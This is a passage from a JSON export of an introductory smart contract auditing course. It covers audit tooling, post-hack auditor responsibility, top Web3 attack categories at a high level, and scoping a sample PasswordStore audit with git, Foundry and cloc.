Aderyn are some prominent tools in the static analysis category.\n\nThroughout this course, we'll work heavily with Slither and Aderyn, you'll become experts at these static analysis options.\n\n## Fuzz Testing: Randomness Meets Tests\n\nNext we have Fuzz testing, which really comes in two flavours, `fuzz testing` and `stateful fuzz testing`.\n\n\n\nA few other types of testing we _won't_ be covering are `differential test` and `chaos tests`, but in an effort to further you security journey, you always want to be looking for new looks and expanding your knowledge, so you may want to check them out.\n\n## Formal Verification: Mathematical Proofs\n\nFormal verification is a broad term for deploying formal methods to affirm the correctness of hardware or software. Often, these methods involve converting the codebase into mathematical expressions and deploying mathematical proofs to authenticate that the code does or doesn't do something specific.\n\nA popular formal verification approach is symbolic execution. This method converts your Solidity function into math or a set of boolean expressions. Manticore, Certora, Z3 stand tall in this domain.\n\nWe will delve deeper into formal verification in later sections.\n\n## AI Tools: Not Quite There Yet\n\nLastly but importantly, AI tools offer another dimension to imagine code auditing functionalities. However, despite their potential, they have some distance to cover before they provide substantial value for securing a codebase. At present, using AI tools could serve as a sanity check or aid in looking for something quickly, but if a project suggests it has been audited by an AI tool like `ChatGPT`, it is best to be skeptical and question if the project takes security seriously.\n\nThere's a great GitHub repo by ZhangZhuoSJTU that illustrates examples of bugs that are detectable by machines and those that aren't. Check it out [**here**](https://github.com/ZhangZhuoSJTU/Web3Bugs).\n\n## Wrapping Up\n\nAn important takeaway for you is that around **80%** of actual bugs and competitive audit bugs are not auto-detectable by machines, _including our present-day AI tools_. This revelation underlines two key facts:\n\n1. Our current tools aren't up to the mark, and we need better ones.\n2. Human auditors and human security researchers remain paramount. The vast majority of bugs often stem from business logic and incorrect implementations rather than common solidity or cryptography oddities.\n\nYou'll learn more about this distinction as we continue in this course.\n", + "updates": [] + }, + { + "lessonId": "0c8d34f8-8bce-4d6c-9370-e85de0d4be31", + "number": 5, + "title": "What if a protocol I audit gets hacked?", + "slug": "hacked", + "folderName": "5-hacked", + "description": "", + "duration": 4, + "videoUrl": "LVwtMj026jE4kCW6yEa3EVd8PPAuoKpANRGeDw902ClTs", + "rawMarkdownUrl": "/routes/security/2-audit/5-hacked/+page.md", + "markdownContent": "---\ntitle: What if I do a Security Review and the protocol gets hacked?\n---\n\n_Follow along with this video:_\n\n---\n\n# Penetrating the Scenario: What If Your Security Audit Fails?\n\nAs the world moves towards a more digital infrastructure, the importance of security audits cannot be overstated. But who carries the blame when these audits fail? Should it always land at the feet of those responsible for conducting the audit?\n\nWhile broaching upon this intricate subject, I recently had a pleasant chat with the legendary Tincho, who imparted an inspiring perspective. He offers valuable insights on the way we should perceive the role and responsibilities of auditors in these precarious scenarios. Below will be summaries based on his thoughts and perspective.\n\n## Redefining the Role of Auditors\n\nIn the eyes of many, the fundamental purpose of a security audit is to identify and rectify the most critical vulnerabilities in a system. However, Tincho encourages us to look beyond this simplistic view.\n\n> Auditors should provide value, regardless of whether or not they spot critical issues.\n\nIn other words, an auditor's value doesn't solely rest upon their ability to find vulnerabilities. Instead, their advice should strengthen the overall security protocol and offer pragmatic solutions for future scenarios.\n\nOf course, it goes without saying that the fewer critical vulnerabilities that are overlooked, the better - the safer Ethereum will be. It's naive however to believe that an auditor is solely responsible for when things go wrong.\n\n## Who Owns the Blame?\n\nThe notion of finding a scapegoat when a system is exploited is a regressive one.\n\n> A whole chain of events leads to the successful exploitation of a vulnerability.\n\nAttributing the failure of a system to an auditor's incompetency is simplistic and misguided. If a vulnerability was missed, it means it slipped past numerous stages of checks and balances, of which an audit is just one. When a flaw goes unnoticed for as long as four months, there are perhaps lapses in system monitoring and in many other security parameters.\n\n## The Auditor’s Role in the Wake of a Breach\n\nSo, what should an auditor do if a protocol they've reviewed ends up compromised? The answer is that a responsible security partner should not abandon their client in the midst of a crisis.\n\nAs an auditor, you may be able to help mitigate the damage, restrict the scope of the attack, and possibly identify the hackers. A quality auditor must be there, lending their expertise, during the inevitable chaos that ensues after a breach.\n\n> \"If you are to be the trusted security partner of your clients, probably, when they are hacked, you want to be there. You want to be there supporting them.\" - Tincho\n\n## Conclusion\n\nSecurity is a journey.\n\nIt was great catching up with Tincho, whose outlook on security audits balances realism with the optimistic pursuit of improvement. Every party involved in a security protocol must work together as a team and learn from any failure to ensure a safer, more secure digital environment.\n", + "updates": [] + }, + { + "lessonId": "100452f0-5541-4c78-9d25-a8c86e433cfa", + "number": 6, + "title": "Top Web3 Attacks", + "slug": "attacks", + "folderName": "6-attacks", + "description": "", + "duration": 1, + "videoUrl": "zwmJv9KnDfe8zgCio1oR00AM2w95AXpfXYWoqXxQEdjE", + "rawMarkdownUrl": "/routes/security/2-audit/6-attacks/+page.md", + "markdownContent": "---\ntitle: Top kinds of Attacks in Web3 Today\n---\n\n_Follow along with this video:_\n\n---\n\nAs I've mentioned a few times, we need to have this **attackers and defenders mindset**. We need to always be expanding our knowledge, we need to always be leveling up.\n\nAs we progress I'll be giving you a tonne of tools to learn and grow your skill set. In addition to this, there will be exercises throughout for you to continue to seek that knowledge and really commit it.\n\n### Unraveling the Top Attack Vectors\n\nLets consider the weakest parts of Web3 and remind everyone with the **“Top Attack Vectors.”**\n\n1. **Private Keys** - Stolen Private Keys are responsible for the largest loss of funds so far in 2023 at `$243,000,000`\n2. **Reward Manipulation** – This vector involves the manipulation of decentralized incentive systems that could disrupt the balance and fairness within a network. `$200,000,000` has been rugged so far this year.\n3. **Price Oracle Manipulation** – This threat arises when a price oracle in centralized, or if a single oracle is relied upon, particularly with respect to price data. These vulnerabilities are responsible for `~$146,000,000` in losses in 2023.\n4. **Insufficient Access Controls** – onlyOwner modifiers, multi-sig wallets - just a couple things that could have preventing `$17,000,000` in stolen funds this year.\n5. **Re-entrancy(and Read-Only Re-entrancy)** - by not adhering to proper Checks, Effects, Interactions patterns - protocols are still being rekt to the tune of `$20,500,000` combined in 2023.\n\nMillions more have been lost across various, well-documented, and preventable attack vectors. The situation clearly illustrates how education is half the battle.\n\nCollectively, we will tackle these bugbears and issues in our forthcoming security reviews.\n\n> Always remember, my friends - Cybersecurity isn't about the systems or the codes; it's about maintaining a mindset. A mindset akin to an endless game of chess, predicting the opponent’s moves and always staying a step ahead.\n\n### Engaging in Persistent Learning and Improvement\n\nIn the forthcoming series of security audits, you'll get hands-on practice with data analysis, encryption methods, tackling suspicious scripts, and combating various cybersecurity threats. The exercises will stimulate your intellectual growth and help ingrain essential concepts into your tech-strategist mind.\n", + "updates": [] + }, + { + "lessonId": "42962aa0-116e-45ae-8c31-2d01d7313526", + "number": 7, + "title": "Recap", + "slug": "recap", + "folderName": "7-recap", + "description": "", + "duration": 3, + "videoUrl": "8Htqm7N3yiDLZqakaXKmOhsbnAeYVOqv4BCJP8s8XVE", + "rawMarkdownUrl": "/routes/security/2-audit/7-recap/+page.md", + "markdownContent": "---\ntitle: Lesson 2 Recap\n---\n\n_Follow along with this video:_\n\n---\n\nCongratulations! You've come so far already, let's do a quick recap of what's been covered in this section.\n\n### The Basics of Smart Contract Audits\n\nA smart contract audit is a time-boxed security review, looking for security vulnerabilities. The goal here is to inform the protocol on how to be as secure as possible.\n\n### The Fundamentals of a Security Review\n\nThere's no `silver bullet` when it comes to how to perform a security review. Generally, a security review is divided into three stages:\n\n1. Initial review\n - Scoping\n - Reconnaissance\n - Vulnerability Identification\n - Reporting\n2. Protocol Fixes\n - Protocol fixes issues\n - Retests and adds tests for changes\n3. Mitigation Review\n - Reconnaissance\n - Vulnerability Identification\n - Reporting\n\n### Smart Contract Development Life Cycle\n\nKeep in mind that ensuring security isn’t only a crucial point in the smart contract development lifecycle, it's a continuous, never-ending process!\n\n- Plan & Design\n- Develop & Test\n- Smart Contract Audit & Post Deploy Planning\n- Deploy\n- Monitor & Maintain\n\n> \"_Security shouldn't just be an afterthought or some box you check. You need to have a security mindset from day one_\".\n\nThinking about post-deployment planning, monitoring and maintaining is just as important as the development itself.\n\n### Tooling for Security Review\n\nIn future posts, we'll be delving into the various tools utilized in conducting security reviews. Trust me, you'll need to get your hands dirty with tools like\n\nStatic Analysis\n\n- [Slither](https://github.com/crytic/slither)\n- [Aderyn](https://github.com/Cyfrin/aderyn)\n\nFuzzing/Invariant Tests\n\n- [Foundry Test Suite](https://github.com/foundry-rs/foundry)\n\nFormal Verification\n\n- [Certora](https://www.certora.com/)\n\nAI\n\n- [Phind](https://www.phind.com/search?home=true)\n- [ChatGPT](https://chat.openai.com)\n- [Co-Pilot](https://github.com/features/copilot)\n- [AI Limitations](https://github.com/ZhangZhuoSJTU/Web3Bugs)\n\n### Audit Readiness\n\nBefore a protocol is even ready for an audit, they should consider where they stand on the [**Rekt Test**](https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test/) or other checklists like nacentxyz's [**simple-security-toolkit**](https://github.com/nascentxyz/simple-security-toolkit)\n\n### Always be Learning\n\nWe need to always be improving as security researchers and adopt an `attacker vs defender` mindset. It's only by staying informed and constantly improving that we can stay ahead of the problem.\n\nWe touched on top attack vectors that are hitting Web3 to this day (including re-entrancy which has been around since _2016!_).\n\nHopefully, with you taking this course we can learn from the mistakes in the past and finally reign in the exploitation in Web3.\n", + "updates": [] + }, + { + "lessonId": "4c9a5a26-4242-41f9-8764-093d3776afef", + "number": 8, + "title": "Exercises", + "slug": "exercises", + "folderName": "8-exercises", + "description": "", + "duration": 3, + "videoUrl": "vM5P9GThlMPgtYln1Dsj3dlIjAeXh02UeCO58Cidjt01M", + "rawMarkdownUrl": "/routes/security/2-audit/8-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video:_\n\n---\n\n### Section 2: Excercises\n\n---\n\n🎯 Exercise: `Sign up for at least 1 security/web3 newsletter!`\n\nThe reason this is so important is that you are now a security _researcher_. Keyword - `researcher`. You need to constantly be learning and taking in new things.\n\nIn this course we're going to be studying other people's reports, studying other audits (using a tool called [**Solodit**](https://solodit.xyz/)) and we'll be continuously learning from previous exploits.\n\n> Exploits in the space are learning opportunities for us to improve as security researchers.\n\nHere are some newletters/resources to check out:\n\n- [Blockchain Threat Intelligence](https://newsletter.blockthreat.io/?r=2mgsm7) (referral link)\n- [Solodit](https://solodit.xyz/)\n- [Rekt](https://rekt.news/)\n- [Week In Ethereum](https://weekinethereumnews.com/)\n- [Consensys Diligence Newsletter](https://consensys.io/diligence/newsletter/)\n- [Officer CIA](https://officercia.mirror.xyz/)\n\nWith all that said, you've now completed the high-level overview of what this process looks like. You should be very proud of yourself.\n\nTake a break and prepare to dive into our first audit together - Puppy Raffle.\n\nSection 2 NFT Challenge 👀\n\n[Hardest one of the whole course (Arb)](https://arbiscan.io/address/0xeab9c7ac697408fd1581494577c7c0716c3b75e6)\n\n[Hardest one of the whole course (Sepolia)](https://sepolia.etherscan.io/address/0x34d130b174f4a30a846fed7c02fcf53a19a4c2b6#code)\n", + "updates": [] + } + ] + }, + { + "number": 3, + "sectionId": "62db753e-7568-4d6a-b630-823949273491", + "title": "Your First Audit | PasswordStore", + "slug": "first-audit", + "folderName": "3-first-audit", + "lessons": [ + { + "lessonId": "074d29d9-9aac-4daf-b61f-3b040acc2acd", + "number": 1, + "title": "Your First Security Review", + "slug": "first-review", + "folderName": "1-first-review", + "description": "", + "duration": 5, + "videoUrl": "xi009v02oVduUZvKxmOSpvgVJ9gMiT5uVH5hpYpposeNk", + "rawMarkdownUrl": "/routes/security/3-first-audit/1-first-review/+page.md", + "markdownContent": "---\ntitle: Your First Security Review\n---\n\n_Follow along with this video:_\n\n---\n\nWelcome everyone! I hope you're well-rested, rehydrated, and ready to dive into the nitty-gritty of how smart contract audits work. We've had a good start with a high-level overview of what a smart contract audit or a security review contains. Now, we're going to go a level further by conducting not one, but a handful of audits over the next 6 sections.\n\nThis is an exciting journey to improve our understanding of audits. We'll strengthen our knowledge and learn from some of the best people in the world such as Hans, the number one competitive auditor in the world for the first half of 2023. Now let’s kick things off with the Password Store audit.\n\n### The PasswordStore Audit: A Closer Look\n\nFor out first audit we're immersing ourselves into a scenario where we're auditing the PasswordStore protocol, just like you could if you were working for a firm like Cyfrin. It's a very immersive and experiential way of learning as we'll be adopting the role of a security researcher who has just received an audit request from a protocol.\n\nIn later lessons we'll also go through the process of submission findings in a competive scenario like `CodeHawks`\n\n\n\n### The End Goal\n\nBefore jumping into this process ourselves, I'd like us to look at what we're striving towards. Below you can find links to the PasswordStore repo at various phases of an audit.\n\n- [**Security Review CodeV1**](https://sepolia.etherscan.io/address/0x2ecf6ad327776bf966893c96efb24c9747f6694b)\n- [**Security Review CodeV2**](https://github.com/Cyfrin/3-passwordstore-audit)\n- [**Security Review CodeV3**](https://github.com/Cyfrin/3-passwordstore-audit/tree/onboarded)\n- [**Security Review Final**](https://github.com/Cyfrin/3-passwordstore-audit/tree/audit-data)\n\nTake a look specifically at `Security Review Final`. The `audit-data` folder contains all the things you'll be able to build by the end of this section, including a professional PDF audit report.\n\n### Remember the Phases\n\nIt’s important to remember the phases for each audit or security review. They include:\n\n1. Initial Review\n - Scoping\n - Reconnaissance\n - Vulnerability Detection\n - Reporting\n2. Protocol Fixes\n - Fixes issues\n - retests and adds tests\n3. Mitigation Review\n - Reconnaissance\n - Vulnerability Detection\n - Reporting\n\nIn this course, our main focus will primarily be on how to perform your initial review.\n\nWe're starting out small with a codebase of less than 20 lines, but this is just the beginning. It's important to remember that _you_ are the security researcher and often times what may be clear or obvious to you, isn't to a protocol. Your expertise is valuable.\n\nSo, with the expectations set and our targets defined, let's move ahead and commence our very first smart contract audit or security review. We'll start off with a scenario that will help us better understand what our roles as auditors will look like.\n", + "updates": [] + }, + { + "lessonId": "2024196b-0a32-4a2e-a04b-da11d01beb92", + "number": 2, + "title": "Scoping: Etherscan", + "slug": "etherscan", + "folderName": "2-etherscan", + "description": "", + "duration": 6, + "videoUrl": "TBBnNcYbNpBbC2KO0100y2ZltsqKEF8F7StV2LDM7JKv8", + "rawMarkdownUrl": "/routes/security/3-first-audit/2-etherscan/+page.md", + "markdownContent": "---\ntitle: Scoping Raw Etherscan\n---\n\n_Follow along with this video:_\n\n---\n\n## Phase 1: Scoping\n\nIn this lesson, we'll examine the initial steps of performing a security review using our PasswordStore codebase. I'm going to take a deep-dive into the scoping phase, which is the primary step in conducting a security review.\n\n### The Scoping Phase and Initial Review\n\nThe scoping phase is the point we initially receive a codebase for review and we perform a high level assessment.\n\nImagine a scenario like this:\n\n_CLIENT: \"Hi, we're the PasswordStore dev team looking to get our codebase audited ASAP to get it listed officially.\"_\n\n_AUDITOR: \"Hi PasswordStore, I'm beginner-auditor. Really excited to help. Could you send your codebase to me?\"_\n\n_CLIENT: \"Sure, here's the etherscan link to our codebase.\" [**PasswordStore CodeV1**](https://sepolia.etherscan.io/address/0x2ecf6ad327776bf966893c96efb24c9747f6694b)_\n\nThis exchange is all too common, and it's horrible. It's your responsibility as a security researcher to not audit codebases provided to you in this way.\n\nWhy?\n\nAs security researchers, you're looking for more than bugs. You're looking for code maturity. If all you have is a codebase on etherscan, if there's no test suite, if there's no deployment suite you should be asking: `how mature is this code?`\n\n> **Remember: Secure protocols not only safeguard the code but also our reputation as researchers. They will likely blame us for a security breach if we've audited a compromised codebase.**\n\nIf all they provide is an etherscan link, can you assure the protocol's safety? In these cases, the answer is a resounding **NO**.\n\n### Audit Readiness\n\nOne of the first things we covered when discussing preparing for an audit was the concept of `Audit Readiness` and steps protocols should take prior to requesting an audit.\n\nYou should recall the [**Rekt Test**](https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test/) from a previous lesson.\n\nHow does your client's protocol stand up against these questions?\n\n\n\nIf all they've provided you is an Etherscan link - the answer is poorly.\n\n> **If you're offered monetary reward to audit an Etherscan-only codebase, that's a red flag. Say NO. Doing otherwise contradicts our mission to promote secure protocols.**\n\nDo not take clients who have not shown the same commitment to security in their codebase as you would. If you work with clients like those described above, it should be to educate them on how to write good tests and how to prepare their code for a review.\n\n_AUDITOR: \"Hi, PasswordStore. Thank you so much for this Etherscan link, this is a great start. However, do you have a test suite? We want to have every assurance that your codebase is safe and secure. Do you have a Git Repo or GitHub with a testing framework?\"_\n\n_CLIENT: \"AH! Yes, Sorry. We have a Foundry Test repo set up for this, let me send you that Git codebase.\"_\n\nIf a protocol's response to your care in securing them isn't like they above, and they begin pressuring you - walk away. It's evidence that security isn't their focus.\n", + "updates": [] + }, + { + "lessonId": "b7294794-b3b1-4ee5-b00d-20a84f815bd3", + "number": 3, + "title": "Scoping: Audit Details", + "slug": "details", + "folderName": "3-details", + "description": "", + "duration": 13, + "videoUrl": "BXBrKOTDgRH1kLCkbuvDeKi402N00ORbbYBcr1p1jRzjo", + "rawMarkdownUrl": "/routes/security/3-first-audit/3-details/+page.md", + "markdownContent": "---\ntitle: Nailing the Audit Details\n---\n\n_Follow along with this video:_\n\n---\n\n### Getting Started\n\nAlright! Starting off, our client has graciously updated the codebase for this security review, featuring an improved framework and enhanced verbosity in their [**Security Review CodeV2**](https://github.com/Cyfrin/3-passwordstore-audit).\n\nExploring the new codebase, we find it to be comprehensive with an `src` folder and a script detailing deployment procedures. However, as we dig in, we find that the README needs refinement and tailoring to our needs rather than the template Foundry README. There is also a glaring omission — there are no test folders.\n\nIn addition to this, we're not really sure what we should be focusing on in our review. It's unlikely the client wants us auditing libraries, or scripts - but these are vital things to confirm with them in the scoping phase before beginning the audit.\n\n### Preparing for the Audit: Onboarding Questions\n\nFor your convenience, we've compiled a reference of [**Minimal Onboarding Questions**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/blob/main/minimal-onboarding-questions.md). This document will help you extract the minimum information necessary for a successful audit or security review.\n\nWe've also included a more [**Extensive Onboarding Questions**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/blob/main/extensive-onboarding-questions.md) document which is more derivative of what we at Cyfrin use for private audits - we'll go over this in more detail later.\n\nLet's go through these questions and understand why each one is important in preparing for our security review.\n\n1. **About the Project:** Knowledge about the project and its business logic is crucial. You need to be aware of what the project is intended to do so as to spot areas where code implementation does not align with the project's purpose. Remember 80% of vulnerabilities are a product of business logic implementation!\n2. **Stats:** Information about the size of the codebase, how many lines of code are in scope, and its complexity are incredibly vital. This data will help to estimate the timeline and workload for the audit.\n3. **Setup:** We need to ask the protocol how to build and test the project, which frameworks they've used etc.\n4. **Review Scope:** Know the exact commit hash that the client plans to deploy and the specific elements of the codebase it covers. You do not want to spend time auditing code that the client has already modified or doesn't plan to use. The protocol should include the appropriate GitHub URL and explicitly detail which contracts are in scope.\n5. **Compatibilities:** Information about the solidity version the client is using, the chains they plan on working with, and the tokens they will be integrating is important, we'll go into why later.\n6. **Roles:** This entails understanding the different roles and powers within the system and detailing what the different actors should and shouldn't be able to do.\n7. **Known Issues:** Understanding existing vulnerabilities and bugs which are already being considered/fixed. This will allow you to focus on the hidden issues.\n\nAsking the questions of your client is an integral part of assuring they're ready for an audit. Should a protocol give push back, this is a red flag that they aren't taking security as seriously as they should.\n\nAs security researchers you're, in a way, educators. It's your job to educate protocols on the importance of these security considerations and adequate documentation.\n\nOnce our client has provided answers to the above and provided an updated codebase ([**Security Review CodeV3**](https://github.com/Cyfrin/3-passwordstore-audit/tree/onboarded)) they've also filled out the [**questionnaire**](https://github.com/Cyfrin/3-passwordstore-audit/blob/onboarded/minimal-onboarding-filled.md) we provided them.we're finally ready to..\n\n### Dig into the Updated Codebase\n\nYour client should have provided you a commit hash. By navigating to the GitHub Repo's commit history, you can used the first `7 characters` of the commit hash to find the exact version of the repo to focus on. We'll be going over cloning this locally later in the course.\n\n\n\nLet's go through the client's submitted details.\n\n### About\n\nWe see the client has provided us more information about the protocol and its goals/intents.\n\n```md\nA smart contract application for storing a password. Users should be able to store a password and then retrieve it later. Others should not be able to access the password.\n```\n\n### Setup\n\nWe're also now given clear instructions on how to set up the project locally, with information on how to test the repo and frameworks being used.\n\n---\n\n**Requirements**\n\n- [**Git**](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git)\n - You'll know you did it right if you can run git --version and you see a response like git version x.x.x\n- [**Foundry**](https://getfoundry.sh/)\n - You'll know you did it right if you can run forge --version and you see a response like forge 0.2.0 (816e00b 2023-03-16T00:05:26.396218Z)\n\n**Quick Start**\n\n```md\ngit clone https://github.com/Cyfrin/3-passwordstore-audit\ncd 3-passwordstore-audit\nforge build\n```\n\n**Usage**\n\n**Start a local node**\n\n```md\nmake anvil\n```\n\n**Deploy**\n\n```md\nmake deploy\n```\n\n**Testing**\n\n```md\nforge test\n```\n\n**Test Coverage**\n\n```md\nforge coverage\n```\n\n**and for coverage based testing:**\n\n```md\nforge coverage --report debug\n```\n\n---\n\n### Scope\n\nFor this particular example, the client has provided scope:\n\n```\n./src/\n└── PasswordStore.sol\n```\n\nIn this case, a single contract - depending on the maturity of the protocol, you may want to request to include their deployment process, or to provide feedback on their tests - but this is largely a private audit consideration. In competitive audits, the outlined scope is the only code that will be valid.\n\n### Compatibilities\n\nReading further into the client's documentation, we see they've provided compatibilities. Vulnerabilities and exploits may vary from chain to chain, or token to token, so these details are always valuable for us.\n\n```md\nSolc Version: 0.8.18\nChain(s) to deploy contract to: Ethereum\n```\n\n### Roles\n\nWe now also have clearly defined roles! This gives us clear insight into whom is expected to have what powers.\n\n```md\nOwner: The user who can set the password and read the password.\nOutsides: No one else should be able to set or read the password.\n```\n\n### Known Issues\n\nOur client reports that there are **No** known issues with their codebase. I love the confidence.\n\n### Local Setup\n\n. Go ahead and follow the `quick start` guide our client as provided.\n\n```md\ngit clone https://github.com/Cyfrin/3-passwordstore-audit\ncd 3-passwordstore-audit\ncode .\n```\n\nThis will open a new VS Code window in your cloned directory. Now we want to `checkout` the exact commit hash in our audit scope by running:\n\n```bash\ngit checkout \n```\n\nThis will switch you to a `detached HEAD` state of the branch we want. Basically this is a state where changes won't be saved, so let's create a branch we want to work on officially:\n\n```bash\ngit switch -c passwordstore-audit\n```\n\nWe can confirm the branch we're on now by running:\n\n```bash\ngit branch\n```\n\n### Wrap Up\n\nThis may have seemed like a lot, but I promise this becomes second nature as you repeatedly do this. Remember to ask the protocol the questions necessary to assure they are prepared for their audit and step into the role of a security educator to teach them best practices around security and code documentation.\n\nNow we're finally ready to begin looking at the code base and getting our hands dirty!\n", + "updates": [] + }, + { + "lessonId": "2b4e7a53-dc86-4f8f-a522-2b5e762cb09b", + "number": 4, + "title": "Scoping: cloc", + "slug": "cloc", + "folderName": "4-cloc", + "description": "", + "duration": 3, + "videoUrl": "Hby7oUlL5mA3WH6V7FrpykgJDIbCMxKo9w9Bn3PIlL4", + "rawMarkdownUrl": "/routes/security/3-first-audit/4-cloc/+page.md", + "markdownContent": "---\ntitle: Scoping CLOC\n---\n\n_Follow along with this video:_\n\n---\n\nYou may have noticed that we skipped over the `Stats` section of the protocol's README. This section of the documentation is comprised of a line count and complexity rating typically and you should be prepared to calculate these details for your client and use them to estimate the duration of your audit. In this lesson we're going to go over how that's done.\n\nOne of the components of the `Stats` section is `nSLOC` or `number of source lines of code`. A very simple tool exists to help us derive this count.\n\n[**CLOC**](https://github.com/AlDanial/cloc) - cloc counts blank lines, comment lines, and physical lines of source code in many programming languages. It's compatible with Solidity, Python, Rust and many more.\n\n### Installing and Using CLOC\n\nFirst step is installation. The step by step won't be covered here, but pick the method you're most comfortable with.\n\n```md\nnpm install -g cloc # https://www.npmjs.com/package/cloc\nsudo apt install cloc # Debian, Ubuntu\nsudo yum install cloc # Red Hat, Fedora\nsudo dnf install cloc # Fedora 22 or later\nsudo pacman -S cloc # Arch\nsudo emerge -av dev-util/cloc # Gentoo https://packages.gentoo.org/packages/dev-util/cloc\nsudo apk add cloc # Alpine Linux\ndoas pkg_add cloc # OpenBSD\nsudo pkg install cloc # FreeBSD\nsudo port install cloc # macOS with MacPorts\nbrew install cloc # macOS with Homebrew\nchoco install cloc # Windows with Chocolatey\nscoop install cloc # Windows with Scoop\n```\n\nOnce successfully installed, verify your installation.\n\n```bash\ncloc --help\n```\n\nOnce installed, you can run using the command `cloc `. Our PasswordStore example should look like this:\n\n```bash\ncloc ./src/\n```\n\nThis is what the output might look like:\n\n\n\n### The Importance of Knowing Your Codebase Size\n\nWhy is knowing the number of source lines of code (also referred to as Nsloc) crucial? The answer lies in the process of auditing and security research.\n\nAs you perform more audits and delve further into security research, you'll start to gauge the pace at which you can audit a code base. Understanding that pace enables you to estimate more accurately the time required for future coding or auditing tasks based on the size of the code base.\n\nThis is incredibly useful, as with time, you can use your past audit experience and tell the protocol you're working with how long it will take to audit their codebase. Notably, this pace tends to speed up as you do more security reviews. Nevertheless, it's a good starting point.\n\n> _\"When auditing 1000 lines of code for the first time, you now have an estimated timeline for subsequent audits or security reviews of 1000 lines codebases.\"_\n\nOften, competitive audits might have a quicker timeline depending on the auditing platform. Upon having a good grasp of your auditing speed, it may assist in selecting competitive audits that align with your capabilities, or even ones that push you to accelerate your pace.\n\n### Wrap Up\n\n`Stats` like a protocol's `nSLOC` (number of source lines of code) are very valuable to security reviewers. They afford you the ability to gauge how long an audit will take based on your current skill set and provide more accurate estimates for both the protocol and yourself with respect to timelines and workload.\n", + "updates": [] + }, + { + "lessonId": "4729ad23-b598-4fb9-bbde-10e36f33d315", + "number": 5, + "title": "Recap I", + "slug": "recap-i", + "folderName": "5-recap-i", + "description": "", + "duration": 3, + "videoUrl": "smoYD01Ts102Hl01jqqrXktfZXw6JoF4h447OcwQS01upT8", + "rawMarkdownUrl": "/routes/security/3-first-audit/5-recap-i/+page.md", + "markdownContent": "---\ntitle: Recap I\n---\n\n_Follow along with this video:_\n\n---\n\n### Recap\n\nWe've learnt so much so far in this section, let's do a quick refresher of what we've covered!\n\n### Embracing Your Role as a Security Researcher\n\nFirst and foremost, you are not just coders or developers - you are security researchers. You are the gatekeepers ensuring the integrity of smart contracts. Our goal is to ensure that these protocols are not only safe and secure but also well-documented and supported with a robust test suite.\n\nA link to Etherscan is insufficient and we need to educate these protocols on best practices and the benefits of proper audit preparation.\n\n> \"Smart contracts are the most adversarial environment on the planet, and we need to treat them as such.\"\n\nIf you are handed a code base within a smart contract development framework, yet find it lacking adequate tests or documentation, remember, this isn't going to be helpful.\n\n> Remember `80%` of the vulnerabilities out there are a product of `business logic`\n\nWe need a clear understanding of what a protocol _does_ and _how_. This should be well documented.\n\nAs much as we need more information from protocol developers, sometimes, it falls upon us, the security researchers, to educate them about the best security practices.\n\n### Scoping Out a Codebase\n\nWe've went over the [**Minimal Onboarding Questions**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/blob/main/minimal-onboarding-questions.md)\n\nThe importancee of each section can't be overstated.\n\n**About** - Summary of the project. The more documentation, the better.\n\n**Stats** - Calculate the `nSLOC` using tools like `CLOC`\n\n**Setup** - What tools are needed to setup the codebase & test suite? How to run tests. How to see test coverage.\n\n**Scope** - We need an exact commit hash and the specific contracts `in scope` to be detailed\n\n**Roles** - What are the different actors of the system? What are their powers? What should/shouldn't they do?\n\n**Known Issues** - any issues that the protocol team is aware of and will not be acknowledging/fixing.\n\nWhen we get more advanced, we'll have a more [**extensive onboarding form**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/blob/main/extensive-onboarding-questions.md), but we'll cover that later in the course.\n\nEventually you may want to customize this form to suit your needs.\n\n### Congratulatory Note and a Sneak Peek\n\n**A huge congratulations on reaching this far!** 🥳\n\nI know the journey might seem verbose and daunting, but trust me, all these painstaking steps are crucial. They will save you hours in the future, especially if you consider becoming an independent auditor or starting your own firm.\n\nKeep sharp, in our next lesson we'll be going over `The Tincho` an auditing technique used by the legendary `Tincho Abbate`.\n", + "updates": [] + }, + { + "lessonId": "bfb6c3c7-e21e-4071-8144-ee62b276d586", + "number": 6, + "title": "\"The Tincho\"", + "slug": "process-tincho", + "folderName": "6-process-tincho", + "description": "", + "duration": 15, + "videoUrl": "khYrr59ml01mq9jd002HJ6Tb00IwQhInpgoZ6z2byEPYI00", + "rawMarkdownUrl": "/routes/security/3-first-audit/6-process-tincho/+page.md", + "markdownContent": "---\ntitle: The Audit Process With Tincho\n---\n\n_Follow along with this video:_\n\n---\n\n### Reconnaissance\n\nWe've finally scoped out our client's code base and we're ready to dive into looking more closely at the code.\n\nTo do this, we're going to learn some best practices and a technique I've dubbed `The Tincho` from the master himself - Tincho Abbate.\n\n### Introducing Tincho\n\nTincho is a legend in Web3 security and is a member of [**The Red Guild**](https://theredguild.org/), a smart contract and EVM security firm. He was a previous lead auditor for the security firm at `OpenZeppelin` and he even helped me create this course!\n\nWe're lucky to have Tincho walk us through his high-level way to approach security reviews.\n\n_What follows is derived from a video featuring Tincho's point of view_\n\n### The Tincho Auditing Method\n\nTo illustrate the Tincho auditing method, we're going to refer to a video where Tincho performs a live auditing of the Ethereum Name Service (ENS).\n\n> \"I don't have a super formal auditing process. I will just show you briefly some things that I do...\" - Tincho\n\n### First Step\n\nFirst thing's first - download the code, and **read the documentation**. You need to familiarize yourself with the content and context of the codebase, learn the jargon you can expect to see in the code and become comfortable with what the protocol is expected to do.\n\n**READ THE DOCUMENTATION**\n\n### Tools and Frameworks\n\nTincho describes a number of tools he uses while performing security reviews, bring the tools you're most familiar and best with.\n\n- **VS Codeium**: a text editor with a privacy focus. It's based on VS Code but removes a lot of the user tracking telemetry\n- **Foundry**: As a framework for reviewing codebases Foundry is incredibly fast and allows for quick testing with it's robust test suite\n- **CLOC**: A simple command-line utility that helps count lines of code which can give a sense of the complexity of different parts of the codebase.\n- **Solidity Metric**: Another tool developed by Consensys that provides useful metrics about your Solidity codebase.\n\nBy leveraging `CLOC` and `Solidity Metrics`, a security researcher can organize the codebase by complexity and systemically go through the contracts - marking them each complete as appropriate. This pragmatic approach ensures no stone is left unturned.\n\nIt's recommended to start with the smaller and more manageable contracts and build upon them as you go.\n\nThere's a point in an audit where your frame of mind should switch to an adversarial one. You should be thinking _\"How can I break 